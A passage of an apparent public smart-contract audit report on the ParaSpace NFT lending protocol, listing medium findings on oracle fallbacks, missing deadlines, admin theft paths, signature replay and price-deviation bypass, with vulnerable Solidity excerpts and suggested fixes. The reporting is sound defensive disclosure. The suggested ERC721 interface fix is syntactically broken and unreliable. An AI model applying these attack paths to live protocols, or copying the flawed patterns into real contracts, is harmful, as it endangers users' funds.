Consider removing the WETH to NATIVE conversion in the LooksRare adapter. Alternatively, consider converting WETH to ETH seamlessly, without forcing users to send ETH instead of WETH when maker order requires WETH.
[M-12] During oracle outages or feeder outages/disagreement, the ParaSpaceFallbackOracle is not used
Submitted by IllIllI, also found by IllIllI, rbserver, erictee, Trust, hansfriese, skinz, skinz, Franfran, 0xNazgul, ujamal_, Jeiwan, imare, __141345__, __141345__, rbserver, 0x52, gzeon, rvierdiiev, RaymondFam, Rolezn, Lambda, seyni, and codecustard
If the feeders haven’t updated their prices within the default six-hour time window, the floor oracle will revert when requests are made to get the current price, and these reverts are not caught by the wrapper oracle which handles the fallback oracle, so rather than using the fallback oracle in these cases, the calls will revert, leading to liquidations to fail (see my other submission for the full chain from the floor oracle to the liquidation function).
Additionally, the code uses the deprecated chainlink latestAnswer() API for its token requests, which may revert once it is no longer supported
Proof of Concept
getPrice() will fail if the values are stale:
File: /paraspace-core/contracts/misc/NFTFloorOracle.sol #1
236 function getPrice(address _asset)
237 external
238 view
239 override
240 returns (uint256 price)
241 {
242 @> uint256 updatedAt = assetPriceMap[_asset].updatedAt;
243 require(
244 (block.number - updatedAt) <= config.expirationPeriod,
245 @> "NFTOracle: asset price expired"
246 );
247 return assetPriceMap[_asset].twap;
248: }They can be stale due to too much price skew, or the feeders being down, e.g. due to another bug:
File: /paraspace-core/contracts/misc/NFTFloorOracle.sol #2
369 // config maxPriceDeviation as multiple directly(not percent) for simplicity
370 if (priceDeviation >= config.maxPriceDeviation) {
371 return false;
372: }File: /paraspace-core/contracts/misc/NFTFloorOracle.sol #3
376 function _finalizePrice(address _asset, uint256 _twap) internal {
377 PriceInformation storage assetPriceMapEntry = assetPriceMap[_asset];
378 assetPriceMapEntry.twap = _twap;
379 @> assetPriceMapEntry.updatedAt = block.number;
380 assetPriceMapEntry.updatedTimestamp = block.timestamp;
381 emit AssetDataSet(
382 _asset,
383 assetPriceMapEntry.twap,
384 assetPriceMapEntry.updatedAt
385 );
386: }The wrapper oracle does not use a try-catch, so it can’t swallow these reverts and allow the fallback oracle to be used:
File: /paraspace-core/contracts/misc/ParaSpaceOracle.sol #4
114 /// @inheritdoc IPriceOracleGetter
115 function getAssetPrice(address asset)
116 public
117 view
118 override
119 returns (uint256)
120 {
121 if (asset == BASE_CURRENCY) {
122 return BASE_CURRENCY_UNIT;
123 }
124
125 uint256 price = 0;
126 IEACAggregatorProxy source = IEACAggregatorProxy(assetsSources[asset]);
127 if (address(source) != address(0)) {
128 @> price = uint256(source.latestAnswer());
129 }
130 if (price == 0 && address(_fallbackOracle) != address(0)) {
131 @> price = _fallbackOracle.getAssetPrice(asset);
132 }
133
134 require(price != 0, Errors.ORACLE_PRICE_NOT_READY);
135 return price;
136: }Recommended Mitigation Steps
Use a try-catch when fetching the normal latestAnswer(), and use the fallback if it failed.
[M-13] Interactions with AMMs do not use deadlines for operations
Submitted by IllIllI
From a judge’s comment in a previous contest:
Because Front-running is a key aspect of AMM design, deadline is a useful tool to ensure that your tx cannot be “saved for later”.
Due to the removal of the check, it may be more profitable for a miner to deny the transaction from being mined until the transaction incurs the maximum amount of slippage.Most of the functions that interact with AMM pools do not have a deadline parameter, but specifically the one shown below is passing block.timestamp to a pool, which means that whenever the miner decides to include the txn in a block, it will be valid at that time, since block.timestamp will be the current timestamp.
Proof of Concept
File: /paraspace-core/contracts/protocol/tokenization/NTokenUniswapV3.sol #1
51 function _decreaseLiquidity(
52 address user,
53 uint256 tokenId,
54 uint128 liquidityDecrease,
55 uint256 amount0Min,
56 uint256 amount1Min,
57 bool receiveEthAsWeth
58 ) internal returns (uint256 amount0, uint256 amount1) {
59 if (liquidityDecrease > 0) {
60 // amount0Min and amount1Min are price slippage checks
61 // if the amount received after burning is not greater than these minimums, transaction will fail
62 INonfungiblePositionManager.DecreaseLiquidityParams
63 memory params = INonfungiblePositionManager
64 .DecreaseLiquidityParams({
65 tokenId: tokenId,
66 liquidity: liquidityDecrease,
67 amount0Min: amount0Min,
68 amount1Min: amount1Min,
69 @> deadline: block.timestamp
70 });
71
72 INonfungiblePositionManager(_underlyingAsset).decreaseLiquidity(
73 params
74 );
75 }
76: A malicious miner can hold the transaction, which may be being done in order to free up capital to ensure that there are funds available to do operations to prevent a liquidation. It is highly likely that a liquidation is more profitable for a miner to mine, with its associated follow-on transactions, than to allow the decrease of liquidity. A miner can also just hold it until maximum slippage is incurred, as the judge stated.
Recommended Mitigation Steps
Add deadline arguments to all functions that interact with AMMs, and pass it along to AMM calls.
[M-14] Centralization Risks
Submitted by ladboy233, IllIllI, imare, csanuragjain, gzeon, Trust, Trust, Trust, Saintcode_, Josiah, pashov, jadezti, minhquanym, gz627, RaymondFam, fs0c, Mukund, xiaoming90, SmartSek, carlitox477, 9svR6w, wait, wait, unforgiven, hihen, KingNFT, ahmedov, Rolezn, BClabs, Lambda, nicobevi, and nicobevi
Note: per discussion with the judge, instead of highlighting only one submission related to centralization risks, all related findings are being compiled together under M-14 to provide a more complete report.
1. The calculateAuctionPriceMultiplier() function is not properly implemented
The _calculateAuctionPriceMultiplierByTicks() function is not properly implemented, it will revert when _maxPriceMultiplier < 1e18 or _minExpPriceMultiplier < 1e18, causes executeLiquidateERC721() not working. If the owner sets either of these numbers incorrectly, auctions will revert and the protocol will lose a lot of money.
2. Uniswap v3 LP token might be auctionable
The protocol determines whether an asset type can be auctioned purely by checking if the auctionStrategyAddress is configured. If the auctionStrategyAddress of an asset is configured, then it can be auctioned.
However, upon inspecting the code, it was observed that the initialization function (ReserveLogic.init) and PoolParameters.setReserveAuctionStrategyAddress do not have any mechanism to prevent the admin from configuring the auctionStrategyAddress of the Uniswap v3 LP token. Thus, it is possible that the admin accidentally configures the auctionStrategyAddress of the Uniswap v3 LP token, and this results in Uniswap v3 LP token being auctionable.
3. poolAdmin can withdraw all underlying asset balance of NTokens by using executeAirdrop() function
Duplicates: 199, 234, 485, 488
each NToken contract holds all the users collaterals for specific underlying asset. poolAdmin is the admin of the pool and have some accesses but he/she shouldn’t be able to withdraw and transfer users funds(the underlying asset). in the functions rescueERC721() which is only callable by poolAdmin, there is a check that make sures admin can’t transfer underlying asset but in the function executeAirdrop() there is no checks. function executeAirdrop() make a external call with admin specified address, function, parameters. admin can set parameters so the logic would call underlyingAsset.safeTransferFrom(NToken, destAdderss, tokenId) or underlyingAsset.setApprovalForAll(destAddress, true) and then admin could transfer all the underlying assets which belongs to users. this is critical issue because all the protocol collaterals are in danger if poolAdmin private key get compromised.
4. A single point of failure can allow a hacked or malicious owner to use critical functions in the project
Duplicates: 248, 272, 437, 477, 521
The owner role has a single point of failure and onlyOwner can use a few critical functions.
owner role in the paraspace project:
Owner is not behind a multisig and changes are not behind a timelock. There is no clear definition of the owner in the paraspace docs.
Even if protocol admins/developers are not malicious there is still a chance for Owner keys to be stolen. In such a case, the attacker can cause serious damage to the project due to important functions. In such a case, users who have invested in project will suffer high financial losses.
5. NFTFloorOracle: setPrice can lead to user nft lost, or protocol drain of funds due to lack of check of constraints established in documentation and code
Duplicates: 29, 30, 54, 59, 86, 359, 375, 410, 433, 437, 441, 450, 473, 521
- Centralization risk: Admin can bypass all security measures established in documentation, allowing they to drain all protocol funds if they buy an accepted NFT as collateral and then set it floor price to max value possible
- Admin can set current TWAP to zero, leading to user lose of NFTs due to liquidation.
- Allows feeder to eventually inform any price if they set _twap to zero
6. Pool admin can steal underlying of a NToken
Duplicates: 236, 296, 437, 513
The admin can:
- steal ERC20 assets calling rescueERC20() from NToken.sol
- steal ERC1155 assets calling rescueERC1155() from NToken.sol
- steal ERC721 assets calling rescueERC721() from NToken.sol
7. Owner can change implementation of various contracts
Duplicates: 516
The owner can update the implementation of various contracts, allowing theft of assets and general compromise of the protocol.
One example:
The owner of the PoolAddressProvider.sol contract can update the implementation of Pool contract by calling updatePoolImpl function.
The contract provides an easy way to add new functions using IParaProxy.ProxyImplementationAction.Add enum. This way a malicious user can add a malicious function in the Pool contract which can be used to steal tokens from other contracts which rely on the onlyPool modifier for their checks.
8. Owner can renounce while system is paused
The contract owner or single user with a role is not prevented from renouncing the role/ownership while the contract is paused, which would cause any user assets stored in the protocol, to be locked indefinitely
[M-15] NFTFloorOracle’s assets will use old prices if added back after removal
Submitted by hyh, also found by Trust, SmartSek, and kaliberpoziomka8552
assetFeederMap mapping has elements of the FeederRegistrar structure type, that contains nested feederPrice mapping. When an asset is being removed with _removeAsset(), its assetFeederMap entry is deleted with the plain delete assetFeederMap[_asset] operation, which leaves feederPrice mapping intact.
This way if the asset be added back after removal its old prices will be reused via _combine() given that their timestamps are fresh enough and the corresponding feeders stay active.
Impact
Old prices can be irrelevant in the big enough share of cases. The asset can be removed due to its internal issues that are usually coupled with price disruptions, so it is reasonable to assume that recent prices of a removed asset can be corrupted for the same reason that caused its removal.
Nevertheless these prices will be used as if they were added for this asset after its return. Recency logic will work as usual, so the issue is conditional on config.expirationPeriod being substantial enough, which might be the case for all illiquid assets.
Net impact is incorrect valuation of the corresponding NFTs, that can lead to the liquidation of the healthy accounts, which is the permanent loss of the principal funds for their owners. However, due to prerequisites placing the severity to be medium.
Proof of Concept
_removeAsset() will delete the assetFeederMap entry, setting its elements to zero:
function _removeAsset(address _asset)
internal
onlyWhenAssetExisted(_asset)
{
uint8 assetIndex = assetFeederMap[_asset].index;
delete assets[assetIndex];
delete assetPriceMap[_asset];
delete assetFeederMap[_asset];
emit AssetRemoved(_asset);
}Notice, that assetFeederMap is the mapping with FeederRegistrar elements:
/// @dev Original raw value to aggregate with
// the NFT contract address -> FeederRegistrar which contains price from each feeder
mapping(address => FeederRegistrar) public assetFeederMap;FeederRegistrar is a structure with a nested feederPrice mapping.
feederPrice nested mapping will not be deleted with delete assetFeederMap[_asset]:
struct FeederRegistrar {
// if asset registered or not
bool registered;
// index in asset list
uint8 index;
// if asset paused,reject the price
bool paused;
// feeder -> PriceInformation
mapping(address => PriceInformation) feederPrice;
}Per operation docs So if you delete a struct, it will reset all members that are not mappings and also recurse into the members unless they are mappings:
https://docs.soliditylang.org/en/latest/types.html#delete
This way, if the asset be added back its feederPrice mapping will be reused.
On addition of this old _asset only its assetFeederMap[_asset].index be renewed:
function _addAsset(address _asset)
internal
onlyWhenAssetNotExisted(_asset)
{
assetFeederMap[_asset].registered = true;
assets.push(_asset);
assetFeederMap[_asset].index = uint8(assets.length - 1);
emit AssetAdded(_asset);
}This means that the old prices will be immediately used for price construction, given that config.expirationPeriod is big enough:
function _combine(address _asset, uint256 _twap)
internal
view
returns (bool, uint256)
{
FeederRegistrar storage feederRegistrar = assetFeederMap[_asset];
uint256 currentBlock = block.number;
//first time just use the feeding value
if (assetPriceMap[_asset].twap == 0) {
return (true, _twap);
}
//use memory here so allocate with maximum length
uint256 feederSize = feeders.length;
uint256[] memory validPriceList = new uint256[](feederSize);
uint256 validNum = 0;
//aggeregate with price from all feeders
for (uint256 i = 0; i < feederSize; i++) {
PriceInformation memory priceInfo = feederRegistrar.feederPrice[
feeders[i]
];
if (priceInfo.updatedAt > 0) {
uint256 diffBlock = currentBlock - priceInfo.updatedAt;
if (diffBlock <= config.expirationPeriod) {
validPriceList[validNum] = priceInfo.twap;
validNum++;
}
}
}
if (validNum < MIN_ORACLES_NUM) {
return (false, assetPriceMap[_asset].twap);
}
_quickSort(validPriceList, 0, int256(validNum - 1));
return (true, validPriceList[validNum / 2]);
}Recommended Mitigation Steps
Consider clearing the current list of prices on asset removal, for example:
function _removeAsset(address _asset)
internal
onlyWhenAssetExisted(_asset)
{
+ FeederRegistrar storage feederRegistrar = assetFeederMap[_asset];
+ uint256 feederSize = feeders.length;
+ for (uint256 i = 0; i < feederSize; i++) {
+ delete feederRegistrar.feederPrice[feeders[i]];
+ }
uint8 assetIndex = feederRegistrar.index;
delete assets[assetIndex];
delete assetPriceMap[_asset];
delete assetFeederMap[_asset];
emit AssetRemoved(_asset);
}[M-16] When users sign a credit loan for bidding on an item, they are forever committed to the loan even if the NFT value drops massively
Submitted by Trust
In ParaSpace marketplace, taker may pass maker’s signature and fulfil their bid with taker’s NFT. The maker can use credit loan to purchase the NFT provided the health factor is positive in the end.
In validateAcceptBidWithCredit, verifyCreditSignature is called to verify maker signed the credit structure.
function verifyCreditSignature(
DataTypes.Credit memory credit,
address signer,
uint8 v,
bytes32 r,
bytes32 s
) private view returns (bool) {
return
SignatureChecker.verify(
hashCredit(credit),
signer,
v,
r,
s,
getDomainSeparator()
);
}The issue is that the credit structure does not have a deadline:
struct Credit {
address token;
uint256 amount;
bytes orderId;
uint8 v;
bytes32 r;
bytes32 s;
}As a result, attacker may simply wait and if the price of the NFT goes down abuse their previous signature to take a larger amount than they would like to pay for the NFT. Additionaly, there is no revocation mechanism, so user has completely committed to loan to get the NFT until the end of time.
Impact
When users sign a credit loan for bidding on an item, they are forever committed to the loan even if the NFT value drops massively.
Recommended Mitigation Steps
Add a deadline timestamp to the signed credit structure.
[M-17] Attacker can abuse victim’s signature for marketplace bid to buy worthless item
Submitted by Trust
In ParaSpace marketplace, taker may pass maker’s signature and fulfil their bid with taker’s NFT. The maker can use credit loan to purchase the NFT provided the health factor is positive in the end.
In validateAcceptBidWithCredit, verifyCreditSignature is called to verify maker signed the credit structure.
function verifyCreditSignature(
DataTypes.Credit memory credit,
address signer,
uint8 v,
bytes32 r,
bytes32 s
) private view returns (bool) {
return
SignatureChecker.verify(
hashCredit(credit),
signer,
v,
r,
s,
getDomainSeparator()
);
}The issue is that the credit structure does not have a marketplace identifier:
struct Credit {
address token;
uint256 amount;
bytes orderId;
uint8 v;
bytes32 r;
bytes32 s;
}As a result, attacker can use the victim’s signature for some orderId in a particular marketplace for another one, where this orderId leads to a much lower valued item.
User would borrow money to buy victim’s valueless item. This would be HIGH impact, but incidentally right now only the SeaportAdapter marketplace supports credit loans to maker (implements matchBidWithTakerAsk). However, it is very likely the supporting code will be added to LooksRareAdapter and X2Y2Adapter as well.
LooksRareExchange supports the function out of the box:
function matchBidWithTakerAsk(OrderTypes.TakerOrder calldata takerAsk, OrderTypes.MakerOrder calldata makerBid)
external
override
nonReentrant
{
require((!makerBid.isOrderAsk) && (takerAsk.isOrderAsk), "Order: Wrong sides");
require(msg.sender == takerAsk.taker, "Order: Taker must be the sender");
// Check the maker bid order
bytes32 bidHash = makerBid.hash();
_validateOrder(makerBid, bidHash);
(bool isExecutionValid, uint256 tokenId, uint256 amount) = IExecutionStrategy(makerBid.strategy)
.canExecuteTakerAsk(takerAsk, makerBid);
require(isExecutionValid, "Strategy: Execution invalid");
// Update maker bid order status to true (prevents replay)
_isUserOrderNonceExecutedOrCancelled[makerBid.signer][makerBid.nonce] = true;
// Execution part 1/2
...
}So, this impact would be HIGH but since it is currently not implemented, would downgrade to MED. I understand it can be closed as OOS due to speculation of future code, however I would ask to consider that the likelihood of other Exchanges supporting the required API is particularly high, and take into account the value of this contribution.
Impact
Attacker can abuse victim’s signature for marketplace bid to buy worthless item.
Recommended Mitigation Steps
Credit structure should contain an additional field “MarketplaceAddress”.
[M-18] Bad debt will likely incur when multiple NFTs are liquidated
Submitted by Trust
_getUserBalanceForERC721() in GenericLogic gets the value of a user’s specific ERC721 xToken. It is later used for determining the account’s health factor. In case isAtomicPrice is false such as in ape NTokens, price is calculated using:
uint256 assetPrice = _getAssetPrice(
params.oracle,
vars.currentReserveAddress
);
totalValue =
ICollateralizableERC721(vars.xTokenAddress)
.collateralizedBalanceOf(params.user) *
assetPrice;It is the number of apes multiplied by the floor price returns from _getAssetPrice. The issue is that this calculation does not account for slippage, and is unrealistic. If user’s account is liquidated, it is very unlikely that releasing several multiples of precious NFTs will not bring the price down in some significant way.
By performing simple multiplication of NFT count and NFT price, protocol is introducing major bad debt risks and is not as conservative as it aims to be. Collateral value must take slippage risks into account.
Impact
Bad debt will likely incur when multiple NFTs are liquidated.
Recommended Mitigation Steps
Change the calculation to account for slippage when NFT balance is above some threshold.
WalidOfNow (Paraspace) commented:
There’s no real issue here. Its pretty much saying that the design of the protocol is not good for certain market behaviours. This is more of a suggestion than an issue. On top of that, we actually account for this slippage by choosing low LTV and LT.
Regardless of the way we look at it, I’ve established assets are at risk under stated conditions which are not correctly taken into account in the protocol. That seems to meet the bar set for Medium level submissions.
[M-19] Rewards are not accounted for properly in NTokenApeStaking contracts, limiting user’s collateral
Submitted by Trust, also found by 0x52 and ladboy233
ApeStakingLogic.sol implements the logic for staking ape coins through the NTokenApeStaking NFT.
getTokenIdStakingAmount() is an important function which returns the entire stake amount mapping for a specific BAYC / MAYC NFT.
function getTokenIdStakingAmount(
uint256 poolId,
ApeCoinStaking _apeCoinStaking,
uint256 tokenId
) public view returns (uint256) {
(uint256 apeStakedAmount, ) = _apeCoinStaking.nftPosition(
poolId,
tokenId
);
uint256 apeReward = _apeCoinStaking.pendingRewards(
poolId,
address(this),
tokenId
);
(uint256 bakcTokenId, bool isPaired) = _apeCoinStaking.mainToBakc(
poolId,
tokenId
);
if (isPaired) {
(uint256 bakcStakedAmount, ) = _apeCoinStaking.nftPosition(
BAKC_POOL_ID,
bakcTokenId
);
apeStakedAmount += bakcStakedAmount;
}
return apeStakedAmount + apeReward;
}We can see that the total returned amount is the staked amount through the direct NFT, plus rewards for the direct NFT, plus the staked amount of the BAKC token paired to the direct NFT. However, the calculation does not include the pendingRewards for the BAKC staked amount, which accrues over time as well.
As a result, getTokenIdStakingAmount() returns a value lower than the correct user balance. This function is used in PTokenSApe.sol’s balanceOf function, as this type of PToken is supposed to reflect the user’s current balance in ape staking.
When user unstakes their ape tokens through executeUnstakePositionAndRepay, they will receive their fair share of rewards.It will call ApeCoinStaking’s _withdrawPairNft which will claim rewards also for BAKC tokens. However, because balanceOf() shows a lower value, the rewards not count as collateral for user’s debt, which is a major issue for lending platforms.
Impact
Rewards are not accounted for properly in NTokenApeStaking contracts, limiting user’s collateral.
Recommended Mitigation Steps
Balance calculation should include pendingRewards from BAKC tokens if they exist.
[M-20] Oracle does not treat upward and downward price movement the same in validity checks, causing safety issues in oracle usage
Submitted by Trust
NFTFloorOracle retrieves ERC721 prices for ParaSpace. maxPriceDeviation is a configurable parameter, which limits the change percentage from current price to a new feed update. We can see how priceDeviation is calculated and compared to maxPriceDeviation in _checkValidity:
priceDeviation = _twap > _priorTwap
? (_twap * 100) / _priorTwap
: (_priorTwap * 100) / _twap;
// config maxPriceDeviation as multiple directly(not percent) for simplicity
if (priceDeviation >= config.maxPriceDeviation) {
return false;
}
return true;The large number minus small number must be smaller than maxPriceDeviation. However, the way it is calculated means price decrease is much more sensitive and likely to be invalid than a price increase.
10 -> 15, priceDeviation = 15 / 10 = 1.5
15 -> 10, priceDeviation = 15 / 10 = 1.5
From 10 to 15, price rose by 50%. From 15 to 10, price dropped by 33%. Both are the maximum change that would be allowed by deviation parameter. The effect of this behavior is that the protocol will be either too restrictive in how it accepts price drops, or too permissive in how it accepts price rises.
Impact
Oracle does not treat upward and downward price movement the same in validity checks, causing safety issues in oracle usage.
Recommended Mitigation Steps
Use a percentage base calculation for both upward and downward price movements.
WalidOfNow (Paraspace) commented:
Going from 10 to 15 is 50% and from 15 to 10 is 33% percent. This is desired behaviour here. Why should we treat 33% as 50%?
That is exactly the point of this submission. Right now, you are treating both price movements (10-15, 15-10) the same, even though one is 50% and the other is 33%.
You are being far too permissive in upward price changes compared to downward changes, when accepting deviations.
[M-21] Pausing assets only affects future price updates, not previous malicious updates
Submitted by Trust, also found by pashov
NFTFloorOracle retrieves ERC721 prices for ParaSpace. It is pausable by admin on a per asset level using setPause(asset, flag). setPrice will not be callable when asset is paused:
function setPrice(address _asset, uint256 _twap)
public
onlyRole(UPDATER_ROLE)
onlyWhenAssetExisted(_asset)
whenNotPaused(_asset)However, getPrice() is unaffected by the pause flag. This is really dangerous behavior, because there will be 6 hours when the current price treated as valid, although the asset is clearly intended to be on lockdown.
Basically, pauses are only forward facing, and whatever happened is valid. But, if we want to pause an asset, something fishy has already occured, or will occur by the time setPause() is called. So, “whatever happened happened” mentality is overly dangerous.
Impact
Pausing assets only affects future price updates, not previous malicious updates.
Recommended Mitigation Steps
Add whenNotPaused to getPrice() function as well.
[M-22] Price can deviate by much more than maxDeviationRate
Submitted by Trust
NFTFloorOracle retrieves ERC721 prices for ParaSpace. maxPriceDeviation is a configurable parameter, which limits the change percentage from current price to a new feed update.
function _checkValidity(address _asset, uint256 _twap)
internal
view
returns (bool)
{
require(_twap > 0, "NFTOracle: price should be more than 0");
PriceInformation memory assetPriceMapEntry = assetPriceMap[_asset];
uint256 _priorTwap = assetPriceMapEntry.twap;
uint256 _updatedAt = assetPriceMapEntry.updatedAt;
uint256 priceDeviation;
//first price is always valid
if (_priorTwap == 0 || _updatedAt == 0) {
return true;
}
priceDeviation = _twap > _priorTwap
? (_twap * 100) / _priorTwap
: (_priorTwap * 100) / _twap;
// config maxPriceDeviation as multiple directly(not percent) for simplicity
if (priceDeviation >= config.maxPriceDeviation) {
return false;
}
return true;
}The issue is that it only mitigates a massive change in a single transaction, but attackers can still just call setPrice() and update the price many times in a row, each with maxDevicePrice in price change.
The correct approach would be to limit the TWAP growth or decline over some timespan. This will allow admins to react in time to a potential attack and remove the bad price feed.
Impact
Price can deviate by much more than maxDeviationRate.
Proof of Concept
maxDeviationRate = 150
Currently 3 oracles in place, their readings are [1, 1.1, 2]
Oracle #2 can call setPrice(1.5), setPrice(1.7), setPrice(2) to immediately change the price from 1.1 to 2, which is almost 100% growth, much above 50% allowed growth.
Recommended Mitigation Steps
Code already has lastUpdated timestamp for each oracle. Use the elapsed time to calculate a reasonable maximum price change per oracle.
[M-23] Oracle will become invalid much faster than intended on non-mainnet chains
Submitted by Trust
NFTFloorOracle is in charge of answering price queries for ERC721 assets.
EXPIRATION_PERIOD constant is the max amount of blocks allowed to have passed for the reading to be considered up to date:
uint256 diffBlock = currentBlock - priceInfo.updatedAt;
if (diffBlock <= config.expirationPeriod) {
validPriceList[validNum] = priceInfo.twap;
validNum++;
}We can see it is set to 1800, which is intended to be 6 hours with 12 second block time assumption:
//expirationPeriod at least the interval of client to feed data(currently 6h=21600s/12=1800 in mainnet)
//we do not accept price lags behind to much
uint128 constant EXPIRATION_PERIOD = 1800;The issue is that different blockchains have wildly different block times. BSC has one every 3 seconds, while Avalanche has a new block every 1 sec. Also the block product rate may be subject to future changes. Therefore, readings may be considered stale much faster than intended on non-mainnet chains.
The correct EVM compatible way to check it is using the block.timestamp variable. Make sure the difference between current and previous timestamp is under 6 * 3600 seconds.
Paraspace docs show they are clearly intending to deploy in multiple chains so it’s very relevant.
Impact
Oracle will become invalid much faster than intended on non-mainnet chains.
Recommended Mitigation Steps
Use block.timestamp to measure passage of time.
[M-24] MintableIncentivizedERC721 and NToken do not comply with ERC721, breaking composability
Submitted by Trust, also found by csanuragjain, eierina, imare, KingNFT, and Lambda
MintableIncentivizedERC721 implements supportsInterface as below:
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
external
view
virtual
override(IERC165)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId;
}The issue is that it will only support the ERC721 extensions, and does not comply with ERC721 itself. From EIP721: “Every ERC-721 compliant contract must implement the ERC721 and ERC165 interfaces (subject to “caveats” below):”
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface ERC721 /* is ERC165 */ {
...Interface IDs are calculating by XORing together all the function signatures in the interface. Therefore, returning true for IERC721Enumerable and IERC721Metadata will not implicitly include IERC721.
Impact
Any contract that will make sure it is dealing with an ERC721 compliant NFT will not interoperate with MintableIncentivizedERC721 and NTokens. Marketplaces and any NFT facilities will not operate with NTokens.
Proof of Concept
The test below is a standalone POC to show IncentivizedERC721 does not comply with ERC721. It is quickly checkable in Remix, copy deployment address of IncentivizedERC721 to the TestCompliance calls.
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.10;
interface IERC721 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
}
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract IncentivizedERC721 is IERC165{
function supportsInterface(bytes4 interfaceId)
external
view
virtual
override(IERC165)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId;
}
}
// Hard coded values taken from https://eips.ethereum.org/EIPS/eip-721
contract TestCompliance {
function doesSupportERC721Enumerable(IERC165 token) view external returns (bool) {
return token.supportsInterface(0x780e9d63);
}
function doesSupportERC721Metadata(IERC165 token) view external returns (bool) {
return token.supportsInterface(0x5b5e139f);
}
function doesSupportERC721(IERC165 token) view external returns (bool) {
return token.supportsInterface(0x80ac58cd);
}
}Recommended Mitigation Steps
Change supportedInterface function:
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
external
view
virtual
override(IERC165)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId || ;
interfaceId == type(IERC721).interfaceId ||
}Low Risk and Non-Critical Issues
For this contest, 69 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by IllIllI received the top score from the judge.
